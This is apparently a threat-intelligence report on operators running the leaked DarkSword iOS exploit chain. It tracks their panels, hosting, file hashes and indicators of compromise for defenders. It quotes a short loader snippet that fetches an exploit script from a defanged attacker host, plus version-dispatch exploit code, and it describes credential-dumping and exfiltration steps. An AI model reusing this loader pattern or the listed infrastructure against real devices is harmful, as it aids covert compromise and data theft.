What Is DarkSword?
DarkSword is a commercial iOS exploit chain, six chained vulnerabilities spanning iOS 18.4 through 18.7, that leaked publicly via a GitHub repository (ghh-jb/DarkSword) and now runs in the hands of at least seven, and probably eight, unrelated operators. The most recently identified operator is a Chinese-speaking actor running well over a hundred web properties, most of them fronted by a fake AWS sign-in page on a domain that also hosts DarkSword. The hosting concentrates in Hong Kong but reaches into Japan, the United States, and Europe. We re-scanned the cluster’s infrastructure to see how far it extended. Here is what we found.
A single SHA-256 body hash, 46a0bd09f145ab909e5bf45fafe906f452f06971bd227653f0c52af8e22da89e, the login page for a panel called “DarkSword Admin,” matches seven hosts across three countries as of 30 July 2026, and the set of hosts serving it turns over week to week. Pulling that thread led us to a Singapore host running three distinct exploit-panel front ends, each on its own port, plus a MinIO object-storage console, all at once (that host has since gone dark, a pattern we return to below), a Hong Kong host that bundles an Apple ID credential-harvesting decoy directly into the exploit-chain staging page, and an open directory listing in Frankfurt that hands us the operator’s own SSH key comment and web-fuzzing tool cache. In a separate scan back in April 2026, we fetched the core exploit-chain files from 100 web properties and hashed them file by file: several are byte-for-byte identical everywhere, while others have as many as 14 distinct builds in circulation.
None of this required source access or a sample in hand. It came entirely from scanning the operator’s live infrastructure and pivoting on what didn’t change from host to host.
Discovery
Censys already fingerprints DarkSword. When our scanners see a host or web property serving the exploit chain’s telltale artifacts, they tag it with the threat label “DarkSword,” so anyone can pull the current set with a one-line query:
host.services.threats.name = "DarkSword" or web.threats.name = "DarkSword"We noticed the count on that label climbing, which is what set this investigation off. But the label is a floor, not a ceiling: it only counts what Censys has already fingerprinted, and this operator stands up new infrastructure faster than any fingerprint can keep up, so the newest hosts stay unlabeled for days. To see the real spread, we worked two pivots on top of the label. The first was an exact body-hash search on the three operator-panel login pages (3c378357... “Decode Dashboard,” 46a0bd09... “DarkSword Admin,” and 273df85d... “C2 Control Panel”) plus the separate 50582f8d... staging-page hash that fronts exploit-chain delivery. The second, back in April 2026, was a batch probe that fetched the exploit-chain files from 100 web properties for the file-level hashing we cover below.
The body-hash pivot is what surfaced the widest spread of “DarkSword Admin” hosts. A hash search against 46a0bd09... returned hosts the label query never reached, including 107.175.49[.]181:3000 in Atlanta and 162.4.136[.]30:8888 in Hong Kong, each serving the panel on its own port. All confirmed via exact body match rather than title or port, which matters here: this cluster’s operators reuse the same static HTML across wildly different ports and providers, so hash equality is the only reliable way to say “this is the same panel.”
38.22.89[.]117:8888. The identical body (SHA-256 46a0bd09...) resolves to seven hosts across three countries as of 30 July 2026. Chinese-language field labels: 用户名 (username), 密码 (password), 登录 (log in).
Censys ARC Perspective
As of 30 July 2026, the Censys label spans 27 hosts and 180 web properties, and the label keeps moving: web properties rotate in and out as the operator spins up and abandons domains, and the hosts churn almost as fast. That 27-host figure is a snapshot, not a fixed roster. The 100-web-property file-hash dataset we discuss later came from a separate April 2026 scan and is a different population from the current label, not a subset of it. Rather than open on the full inventory, here are the findings that matter; the complete host and domain tables are in the appendix.
Infrastructure Notes
- The panel-hash pivot outperforms the domain pivot. Every domain we’ve tracked in this cluster is disposable; the three operator-panel body hashes (plus the separate staging-page hash) are not. As of 30 July 2026 the “DarkSword Admin” hash resolves seven hosts, each on a different autonomous system, across three countries (Hong Kong, Japan, and the United States). The specific hosts turn over: five of the seven serving the panel today were not in the set a week earlier, while the hash itself has not changed.
- Hong Kong carrier diversity is wide, not consolidated. The Hong Kong hosts alone spread across a dozen distinct networks, including AS979 (NetLab Global), AS135357 (PCCW), AS152194 (CTG Server Limited), AS400619 (ArossCloud), AS9294 (GNET), AS136250 (ZhongShanShi QiYi HuDong WangLuoKeJi), AS22160 (INIsmart), AS55933 (Cloudie), AS4907 (BGPNET), and AS401696/AS401701 (cognetcloud). The operator is not anchored to any single carrier.
- The “DarkSword Admin” panel spans continents on non-standard ports. The same static build answers on
:3000(Atlanta and a Japan host),:8443, and:8888(Hong Kong). These are hosts the operator controls, so the port is a free choice, not a constraint, and they don’t standardize on one. That’s useful for defenders: the panel isn’t pinned to a predictable port, so a port-based rule will miss it, while the body hash catches it regardless of where it listens. - PCCW22-HK (AS135357) is a concentrated pocket in the cluster, hosting the three live “Decode Dashboard” hosts (
103.226.155[.]200,103.226.155[.]201,202.8.120[.]249), each exposing the full five-port C2 signature. Neighboring same-subnet hosts that shared the panel hash in late July have since gone dark, consistent with the churn seen across the rest of the cluster. - Certificate SAN correlation caught a domain that hostname search missed.
se006[.]vipnever appeared as a labeled web property tied to the PCCW cluster; it only surfaced by searching certificate subject alternative names served by103.226.155[.]200/201directly, a reminder that TLS metadata can out a relationship that passive DNS won’t. 103.106.190[.]217is the first host in this investigation to co-host a credential-harvesting decoy and exploit-chain staging on the same IP and port. Every prior operator kept those functions on separate infrastructure.
Attack Flow
- Visit lure: A victim reaches one of the operator’s domains: an AWS-console impersonation subdomain, an iOS-themed lure, or (newest pattern) an Apple ID sign-in page co-hosted at
103.106.190[.]217. - Serve staging page: The web root returns the identical
50582f8d...staging page regardless of which domain or IP served it, with a hiddenframe.htmliframe. - Load exploit chain: The iframe pulls the six-vulnerability DarkSword chain (kernel driver exploit, MIG filter bypass, PAC bypass, sandbox escape), targeting iOS 18.4 through 18.7.
- Deploy GHOSTBLADE modules: On successful exploitation, the implant drops keychain, iCloud, and Wi-Fi credential-dumping modules and begins the file-exfiltration sweep.
- Exfiltrate to collector: Harvested data is packaged and sent to one of the C2 collector endpoints (
/stats,/upload) fronted by whichever panel the operator instance runs. - Operator reviews via panel: The operator authenticates to one of the login panels (“DarkSword Admin,” “Decode Dashboard,” or “C2 Control Panel”) to retrieve and decode the exfiltrated data.
- Self-cleanup: The implant deletes crash reports and
RemoteLog.log, adjusts memory pressure, and exits, per the anti-forensics behavior documented from the original DarkSword source.
Technical Analysis
The file-consistency data behind the leaked-kit finding
This cluster runs the leaked kit rather than a reimplementation, and the evidence is a shared staging-page hash plus Russian-language code comments carried over from the leaked source. Fetching the core exploit-chain files from 100 web properties and hashing them shows which files stay consistent across the fleet and which ones don’t, file by file:
| File | Distinct SHA-256 hashes across 100 web properties |
index.html | 1 |
ghostblade.js | 1 |
keychain_copier.js | 1 |
wifi_password_securityd.js | 1 |
icloud_dumper.js | 1 |
file_downloader.js | 1 |
loader.js | 2 |
wifi_password_dump.js | 2 |
rce_module.js | 4 |
rce_module_18.6.js | 4 |
rce_worker.js | 5 |
sbx1_main.js | 5 |
rce_worker_18.6.js | 6 |
sbx0_main_18.4.js | 7 |
rce_worker_18.4.js | 7 |
frame.html | 10 |
pe_main.js | 10 |
rce_loader.js | 14 |
The split tracks function. The single-hash files are the ones that do the same job on every target, so operators ship the leaked kit’s copy unchanged: the entry-point HTML and the payload modules that dump keychain, iCloud, and Wi-Fi data. The high-variance files, rce_loader.js at 14 distinct builds and frame.html at 10, are the version-dispatch and iframe-loader logic that has to branch on the target’s iOS version to pick the right offsets, so each iOS version they support forces a new build. The parts that can stay identical do, and the parts that have to change do. That’s what one shared codebase deployed across a fleet looks like, not a set of independent reimplementations that happen to line up.
The staging page’s frame.html shows the pattern from the top. It does nothing but inject the loader from a host dressed up to look like a content-delivery network, with a Date.now() cache-buster so every fetch is fresh:
<script type="text/javascript">
document.write('<script defer="defer" src="hxxps://static.cdncounter[.]net/assets/rce_loader.js?'+Date.now()+'"><\/script>');
</script>
The loader it pulls is where the per-version branching lives. It reads the iOS version straight out of the user-agent, then selects a different exploit worker build for iOS 18.6.x versus everything else:
let version = /iPhone OS ([0-9_]+)/g.exec(navigator.userAgent)?.[1];
// ...
let workerCode = "";
if (ios_version == '18,6' || ios_version == '18,6,1' || ios_version == '18,6,2')
workerCode = getJS(`worker_b.js?${Date.now()}`);
else
workerCode = getJS(`worker_a.js?${Date.now()}`);That worker_a versus worker_b fork, repeated for the RCE module a few lines down, is exactly why rce_worker*.js and rce_loader.js carry so many distinct hashes while the payload modules underneath them do not.
The static.cdncounter[.]net host in that first snippet is no longer operator-controlled. It was the actor’s loader-delivery domain at the time of capture, but the registrar has since taken it, and it now resolves to a parked page. We include it as a historical indicator, not a live one.
That reading holds up at the composite level too. We computed a chain_fingerprint, effectively a hash of the full file set per web property, across all 100 and found 24 distinct values, but they are not evenly spread. One fingerprint accounts for 34 of the 100, a second for 29, and the remaining 22 fingerprints split the last 37, seven of which returned no fetchable core-chain files at all (empty fingerprint). Two dominant deployment images, one long tail of variants, and a handful of pure lure fronts with nothing behind them: that’s a single operator running a small number of build profiles at scale, not a diverse ecosystem of copycats.
The core_chain_hits distribution, meaning how many of the known core-chain files a web property actually served, makes the lure-front pattern explicit. Of the 100 web properties, 49 matched zero known core-chain files (serving only a front end, with the exploit chain either not deployed or not reachable at scan time), while 34 matched exactly seven files, the single most common non-zero count in the dataset. The remaining 17 spread across six other hit-counts from one to 11. Pair that with core_chain_novel, the count of files present but not matching any cataloged hash, and a cluster of four web properties stands out with 54 novel files each. That’s well above every other web property and points to at least one heavily modified deployment variant we have not fully cataloged.
The panel-hash cluster
Individual hosts in this cluster live days, not weeks. Of the seven hosts serving the “DarkSword Admin” panel on 30 July, five were not serving it a week earlier, so their panel lifespan is under seven days. The Singapore combined Coruna/DarkSword host that anchored a whole section below was live in late July and gone from the label by the 30th. The panel body hash, by contrast, has not changed across any of it. That gap between how fast the hosts turn over and how stable the hash stays is the entire reason the hash is the better indicator.
The three confirmed operator-panel body hashes break down as follows:
| Panel title | Body hash | Confirmed hosts (30 Jul 2026) |
| DarkSword Admin | 46a0bd09f145ab909e5bf45fafe906f452f06971bd227653f0c52af8e22da89e | 38.22.89[.]117 (:8888), 103.97.128[.]67 (:8888), 162.4.136[.]30 (:8888), 223.26.63[.]56 (:8888), 151.243.126[.]191 (:8888/:8443), 107.175.49[.]181 (:3000), 103.238.129[.]112 (:3000) |
| Decode Dashboard — 登录 | 3c37835766ca615f5eb0e766b4000b43e896a420d575f02e1e160be5711e0782 | 103.226.155[.]200, 103.226.155[.]201, 202.8.120[.]249 |
| C2 Control Panel | 273df85db2d449bbf32a44848877b07b417667eb96481ce37e46bf04dd6cc222 | 103.106.190[.]217 |
A fourth hash, 50582f8d52e49f549615ec7cd68629b9f939a0cfc5c5408f324b2f1cff070e99, anchors the Censys label and shows up on all 27 hosts in the current dataset, but it belongs to a separate category: it’s the exploit-chain staging page, not an operator login panel, so we track it apart from the three panel hashes above.
The “DarkSword Admin” hash is the widest-spreading operator-panel indicator we have: seven hosts, each on a different autonomous system, across three countries (Hong Kong, Japan, and the United States), answering on :3000, :8443, and :8888. The set of hosts is not stable. Comparing this snapshot against the panel’s footprint a week earlier, five of the seven are new and an equal number have dropped off, yet the body hash is unchanged, which is exactly why the hash outlasts any host list. The five-port fingerprint on the PCCW “Decode Dashboard” cluster (8000/8881/8882/8888/9999) resolves cleanly on all three of those hosts.
The Singapore host: three panels, one MinIO console, 21 services (since gone dark)
The single most instructive host in this cluster is no longer live, which is itself the point. When we observed 38.181.52[.]95 (JT Telecom International, Singapore) in late July, a full port scan turned up 21 exposed services, and title-fetching each HTTP endpoint resolved four distinct operator-facing consoles on one IP:
| Port | Title | Function (assessed) |
:443 | Coruna 管理面板 | Coruna administration panel; Chinese-language, distinct codebase from DarkSword’s own panels |
:3002 | DarkSword Admin | Matched the DarkSword Admin panel-hash cluster above |
:5000 | iOS Exploit Dashboard | English-titled operator console, function not further characterized without authentication |
:8000 | DarkSword 管理控制台 | A third DarkSword panel variant (“DarkSword management console”) |
:9001 | (MinIO Console, via Server header and body) | Unauthenticated object-storage web console; Server: MinIO Console banner and a stock MinIO login page body, agpl-licensed build |
Coruna is a separate iOS exploit kit, documented by Google Threat Intelligence Group, that predates DarkSword and covers older iOS versions (roughly 13.0 through 17.2.1). The two kits share history: the same actor Google tracks as UNC6353 delivered Coruna against Ukrainian targets before the group moved on to DarkSword. Running Coruna and DarkSword panels side by side on the same host was new for this proliferation lineage; every prior operator we’d documented ran one exploit family at a time. The host also exposed MySQL on :3306 and STUN on :3478 (twice, on separate service records), consistent with a fuller self-hosted stack (database, panel, and possibly a signaling component) rather than a thin front end pointed at someone else’s backend. We did not attempt to authenticate to the MinIO console or any of the four panels, and we cannot say what data, if any, sat behind them. By 30 July the host had dropped out of the label entirely, and no host in the current dataset serves a Coruna panel, a reminder that the most interesting infrastructure in this cluster is also the most short-lived.
The Apple ID decoy bundled with exploit staging
d37b6198...) served on 103.106.190[.]217, co-hosted with the exploit-chain staging on the same IP. It mimics an iCloud sign-in with Chinese-language labels and a 2024 copyright string.103.106.190[.]217 serves three distinct page bodies across two ports: a “Test Page” default on :80, the new “C2 Control Panel” operator login on :443, and, on both :80 and :443, an “iCloud – Apple” credential-harvesting page (body hash d37b6198034995b8642f78706e197b3ead3cdf125d7f9cf47a60dc7f9b8ef789) styled as an Apple ID sign-in prompt. Every prior lure front we’ve documented in this cluster impersonated AWS, generic Chinese web services, or media outlets. This is the first Apple-branded credential-harvesting page we’ve found bundled directly onto exploit-chain staging infrastructure in this investigation, and it fits the payload more closely than any decoy before it. A chain that already exfiltrates the iOS keychain and iCloud data is one step from just asking the victim for their Apple ID password directly.
The “C2 Control Panel” login itself is a visually distinct build from the other two panels: a near-black #06060d background, a #ff0050 red accent, an animated particle-canvas effect, a group name rendered directly on the page (亚太集团, “Asia-Pacific Group”), and a visible Telegram contact link, hxxps://t[.]me/YATA0000. That’s the first direct contact channel we’ve recovered for this operator; the other panels give us a login gate and nothing else. The TLS certificate on :443 is a Let’s Encrypt certificate for ng28jt[.]xyz, issued 24 July 2026.
The open directory: an operator’s own toolkit, exposed
93.152.221[.]37 (TechTies Inc., Frankfurt) is the operator’s own workbench, and it leaks accordingly. It carries the DarkSword label for the 50582f8d... staging page it serves on :8080 (from a bare Python SimpleHTTP server), and alongside it, on :9999, sits an open directory listing rather than a panel. Inside that listing: .bash_history, .ssh/authorized_keys, and cached configuration directories for ffuf (a command-line web-content fuzzer) and Go’s telemetry subsystem. Every SSH public key can carry a free-text comment at the end of the line, and by default the tool that generates the key fills it in with the user@hostname of the machine where the key was made. The authorized_keys entry here carries the comment jkcing@apt, almost certainly the operator’s own username and machine name, left in place from whenever they generated the keypair. This is the first direct evidence in this cluster of the operator’s own reconnaissance tooling, rather than something inferred from the payload alone, and it’s the only non-Chinese-language European host we’ve found in an otherwise Asia-Pacific-concentrated cluster.
The same host also runs a separate login panel on :443 that the operator titled “Thorn C2.” Unlike the DarkSword panels, it’s a pure-admin-thin Vue single-page app (Element-Plus UI, Chinese-language source comments), a different codebase from anything else in this cluster, and its body hash appears on no other host. “Thorn C2” is not a publicly documented malware family, so we read the title as the operator’s own naming rather than a known tool. We can’t tie it to DarkSword beyond co-residence, but a box that hosts DarkSword staging, an exposed recon toolkit, and a second self-named C2 panel points to an operator running more than one project off a single machine. We flag it as a lead, not a DarkSword component.
An unconfirmed lead: the “group” page
192.229.81[.]151:8081 (Antbox Networks, Kuala Lumpur) serves a page titled simply “group,” backed by obfuscated JavaScript (platform_module.js, utility_module.js) using a module-map and decodeWords-style loader pattern. The title is suggestive: an earlier French-speaking operator we documented running a combined Coruna-and-DarkSword deployment used a group.html landing page as part of Coruna’s own naming convention. We have not deobfuscated the JavaScript on this host and cannot confirm the two are related beyond the shared title. We flag it here as a lead worth revisiting, not a finding.
Attribution Hints
The Chinese-language panel titles (Decode Dashboard — 登录, DarkSword 管理控制台, 关键词雷达运营后台), the zh-CN markup on multiple panels, and the group name 亚太集团 (“Asia-Pacific Group”) rendered directly on the “C2 Control Panel” login point, at moderate confidence, to a Chinese-speaking operator. The Telegram contact link, hxxps://t[.]me/YATA0000, is a new, concrete artifact, the first direct communication channel we’ve recovered for this specific cluster, though we have not attempted contact and cannot independently verify who controls it. We publish it here as an indicator for tracking and correlation, not as an endorsement of the channel. The SSH key comment jkcing@apt on the Frankfurt open directory is a plausible operator handle but stands alone; we do not have a second artifact to corroborate it.
IOCs
Operator-panel body hashes:
- “Decode Dashboard” panel body hash:
3c37835766ca615f5eb0e766b4000b43e896a420d575f02e1e160be5711e0782 - “DarkSword Admin” panel body hash:
46a0bd09f145ab909e5bf45fafe906f452f06971bd227653f0c52af8e22da89e - “C2 Control Panel” panel body hash:
273df85db2d449bbf32a44848877b07b417667eb96481ce37e46bf04dd6cc222
Delivery and decoy body hashes (not operator panels):
- Exploit-chain staging page body hash:
50582f8d52e49f549615ec7cd68629b9f939a0cfc5c5408f324b2f1cff070e99 - “iCloud – Apple” credential-harvesting decoy body hash:
d37b6198034995b8642f78706e197b3ead3cdf125d7f9cf47a60dc7f9b8ef789
Co-resident, unconfirmed (not attributed to DarkSword):
- “Thorn C2” panel body hash:
0a60f8ba0c0fa86f469c973cccc853f5d71a7ae8f2a9e057d6c7735d2c28070a(single host93.152.221[.]37:443; separate codebase, flagged as a lead)
Other signatures:
- Panel titles worth hunting:
DarkSword Admin,Decode Dashboard,C2 Control Panel,Coruna 管理面板,DarkSword 管理控制台,iOS Exploit Dashboard - Live port fingerprint (PCCW Hong Kong “Decode Dashboard” cluster):
8000+8881+8882+8888+9999, scoped to AS135357. The bare8881/8882/9999triad alone matches roughly 100 unrelated proxy hosts.
Network Indicators
Hosts serving the “DarkSword Admin” panel hash as of 30 July 2026:
| Indicator | Type | Notes |
38.22.89[.]117:8888 | IP:port | “DarkSword Admin” panel; keyword-radar backend and Japanese-drama decoy |
103.97.128[.]67:8888 | IP:port | “DarkSword Admin” panel |
162.4.136[.]30:8888 | IP:port | “DarkSword Admin” panel; MySQL on :3306 |
223.26.63[.]56:8888 | IP:port | “DarkSword Admin” panel |
151.243.126[.]191:8888 | IP:port | “DarkSword Admin” panel (also :8443); serves a “group” page |
107.175.49[.]181:3000 | IP:port | “DarkSword Admin” panel, Atlanta |
103.238.129[.]112:3000 | IP:port | “DarkSword Admin” panel, Japan |
103.226.155[.]200 | IP | “Decode Dashboard” host, five-port C2 signature |
103.226.155[.]201 | IP | “Decode Dashboard” host, five-port C2 signature |
202.8.120[.]249 | IP | “Decode Dashboard” host, five-port C2 signature |
103.106.190[.]217 | IP | “C2 Control Panel” host; co-hosted Apple ID decoy |
93.152.221[.]37:9999 | IP:port | Open directory listing, operator tooling exposed; “Thorn C2” panel on :443 |
se006[.]vip | Domain | Certificate SAN match to “Decode Dashboard” cluster |
ng28jt[.]xyz | Domain | Let’s Encrypt CN on 103.106.190[.]217:443, issued 24 Jul 2026 |
hxxps://t[.]me/YATA0000 | Contact | Telegram link on “C2 Control Panel” login page |
Documented earlier in the investigation but no longer serving the panel as of 30 July (retained for historical correlation): 38.181.52[.]95 (Singapore combined Coruna/DarkSword host), 1.32.228[.]62, 202.162.109[.]71, 130.94.30[.]48, 38.12.47[.]193, and the 103.234.96[.]x PCCW siblings.
File Indicators
| File | SHA-256 |
index.html (staging) | Constant across all 100 scanned web properties; see staging body hash above |
ghostblade.js | Constant across all web properties serving it |
keychain_copier.js | Constant across all web properties serving it |
icloud_dumper.js | Constant across all web properties serving it |
file_downloader.js | Constant across all web properties serving it |
rce_loader.js | 14 distinct builds observed; version-dispatch logic that varies by target iOS version |
Behavioral Indicators
- SSH
authorized_keyscommentjkcing@apt, recovered from an open directory listing at93.152.221[.]37:9999 - Cached
ffufconfiguration directories (.config/ffuf/) on the same host, indicating automated web-content fuzzing as part of the operator’s own reconnaissance - Catch-all panel routing: any unauthenticated path on “DarkSword Admin,” “Decode Dashboard,” or “C2 Control Panel” re-renders the login form rather than erroring, so scanning for hidden paths behind these gates will not surface anything without valid credentials
Takeaways
- A single body hash spans seven networks and three countries. The “DarkSword Admin” panel hash resolves seven hosts as of 30 July, and the hosts turn over week to week while the hash holds, which makes it the single most durable indicator we have on this operator, more durable than any domain or even any individual IP.
- File-level hashing puts numbers behind the “one kit, many deployments” model. Payload modules (keychain, iCloud, Wi-Fi dumping) are byte-identical across every web property that serves them, while the version-dispatch logic changes per iOS version. Two dominant chain fingerprints cover 63 of 100 scanned web properties.
- The operator diversifies panel software, not just panel count. A Singapore host observed in late July ran Coruna and DarkSword panels side by side plus an unauthenticated MinIO console, the first time we’ve seen two exploit-kit codebases sharing infrastructure this directly. That host has since gone dark, but it shows the operator is comfortable running more than one exploit family off a single box.
- Nearly half of scanned web properties serve no exploit chain at all. Forty-nine of 100 web properties in the batch scan matched zero core-chain files. A large share of this operator’s footprint is lure fronts with no payload currently reachable, so presence in the domain list does not by itself mean active exploitation.
- Operator OPSEC continues to leak concrete artifacts. An open directory handed us an SSH key comment and a fuzzing-tool cache; a panel handed us a live Telegram contact link. Neither required any access beyond an unauthenticated HTTP request.
For defenders: hunt the three operator-panel body hashes, the staging-page hash, and the 8000/8881/8882/8888/9999 port set scoped to Hong Kong ASNs directly, rather than tracking domains. The domain layer will keep outpacing any list you build, but the panel builds have held stable across observation. Network defenders blocking on IP or domain reputation should expect churn measured in days; defenders with the ability to fingerprint HTTP response bodies should prioritize the 46a0bd09... hash, since it’s currently the widest-spreading single indicator in the cluster. Run host.services.threats.name = "DarkSword" or web.threats.name = "DarkSword" against your own exposure and re-run it at least weekly; this cluster’s hosts and domains turn over within days, so any static list goes stale fast.
Track DarkSword in Censys
References
- Google Threat Intelligence Group, public reporting on the GHOSTBLADE/UNC6353 campaign and the DarkSword/Coruna proliferation lineage: DarkSword iOS Exploit Chain
- Google Threat Intelligence Group, background on the Coruna iOS exploit kit: Coruna: The Mysterious Journey of a Powerful iOS Exploit Kit
ghh-jb/DarkSword, the public GitHub repository through which the exploit chain leaked: github.com/ghh-jb/DarkSword
Appendix: Full Infrastructure Inventory
Physical Infrastructure
The 27 hosts carrying the Censys DarkSword label as of 30 July 2026. Every host serves the 50582f8d... staging-page body; the Notes column flags the operator panels, decoys, and other notable services layered on top. This is a snapshot: hosts join and drop out of the label week to week.
| IP Address | Country | ASN | Notes |
38.22.89[.]117 | Hong Kong | AS979 (NetLab Global) | “DarkSword Admin” panel (:8888); keyword-radar backend (关键词雷达运营后台) and Japanese-drama decoy |
64.90.10[.]72 | Hong Kong | AS979 (NetLab Global) | Staging / lure front |
103.97.128[.]67 | Hong Kong | AS55933 (Cloudie) | “DarkSword Admin” panel (:8888) |
162.4.136[.]30 | Hong Kong | AS136250 (ZhongShanShi QiYi HuDong WangLuoKeJi) | “DarkSword Admin” panel (:8888); MySQL on :3306 |
223.26.63[.]56 | Hong Kong | AS152194 (CTG Server Limited) | “DarkSword Admin” panel (:8888) |
151.243.126[.]191 | Hong Kong | AS22160 (INIsmart) | “DarkSword Admin” panel (:8888/:8443); also serves a “group” page |
103.226.155[.]200 | Hong Kong | AS135357 (PCCW22-HK) | “Decode Dashboard” panel; five-port C2 signature |
103.226.155[.]201 | Hong Kong | AS135357 (PCCW22-HK) | “Decode Dashboard” panel; five-port C2 signature |
202.8.120[.]249 | Hong Kong | AS135357 (PCCW22-HK) | “Decode Dashboard” panel; five-port C2 signature |
103.106.190[.]217 | Hong Kong | AS401696 (cognetcloud) | “C2 Control Panel” panel; co-hosts an Apple ID credential-harvesting decoy |
38.76.185[.]209 | Hong Kong | AS401701 (cognetcloud) | Staging front; Xianyu-themed decoy (闲鱼@夜光海葵) |
45.207.210[.]78 | Hong Kong | AS401701 (cognetcloud) | Staging / lure front |
45.197.237[.]210 | Hong Kong | AS4907 (BGPNET) | Staging / lure front |
45.197.237[.]216 | Hong Kong | AS4907 (BGPNET) | Staging / lure front |
156.224.25[.]7 | Hong Kong | AS400619 (ArossCloud) | Staging / lure front |
156.252.63[.]109 | Hong Kong | AS9294 (GNET) | Staging / lure front |
43.255.156[.]130 | Hong Kong | AS932 (XNNET) | Staging / lure front |
103.238.129[.]112 | Japan | AS401443 (WAP.AC) | “DarkSword Admin” panel (:3000) |
107.175.49[.]181 | United States | AS36352 (ColoCrossing/HostPapa) | “DarkSword Admin” panel (:3000) |
192.210.239[.]136 | United States | AS36352 (ColoCrossing/HostPapa) | Staging / lure front |
177.3.41[.]61 | United States | AS140227 (Hong Kong Communications International) | Staging / lure front |
43.98.179[.]15 | Singapore | AS45102 (Alibaba) | Staging / lure front |
93.152.221[.]37 | Germany | AS197170 (TechTies Inc.) | Open directory listing (:9999) exposing operator tooling; also serves a “Thorn C2” panel (:443) |
136.244.95[.]4 | Germany | AS20473 (Vultr / The Constant Company) | Staging / lure front |
80.66.72[.]87 | Germany | AS215540 (Global Connectivity Solutions) | Staging / lure front |
2.26.22[.]89 | Germany | AS215590 (DpkgSoft International) | Staging / lure front |
75.119.146[.]156 | France | AS51167 (Contabo) | Staging / lure front |
Hosts documented earlier in this investigation that have since dropped out of the label include 38.181.52[.]95 (the Singapore combined Coruna/DarkSword stack), the 103.234.96[.]x PCCW “Decode Dashboard” siblings, and 5.206.227[.]115 (a former staging single point of failure). Their departure inside a week is the churn this writeup keeps returning to.
Virtual Hosts
Top base domains by labeled web-property count as of 30 July 2026 (180 web properties total; a single base domain fans out into many labeled subdomains):
| Base domain | Labeled web properties | Notes |
jkonnet[.]buzz | 36 | AWS-console impersonation cluster (console.aws.jkonnet[.]buzz, aws-signin-website-assets.s3.jkonnet[.]buzz, and similar); matches the fake AWS sign-in lure described up top |
tronide[.]cc | 16 | Mixed web/admin subdomains (web., pc., didiadmin.) |
myymk[.]cc | 14 | Mixed delivery subdomains (ys., dl., bw., web.) |
ytl99[.]vip | 7 | Delivery subdomains (kweb., web., ag.) |
dcgfun[.]top | 5 | Delivery subdomains |
Domains documented earlier in the investigation that are no longer in the label as of 30 July include se006[.]vip (previously correlated to the “Decode Dashboard” cluster via certificate SAN), df45gdf48g[.]com, and ng28jt[.]xyz (the Let’s Encrypt CN on the “C2 Control Panel” host, issued 24 July 2026). The full 180-domain list churns week to week.
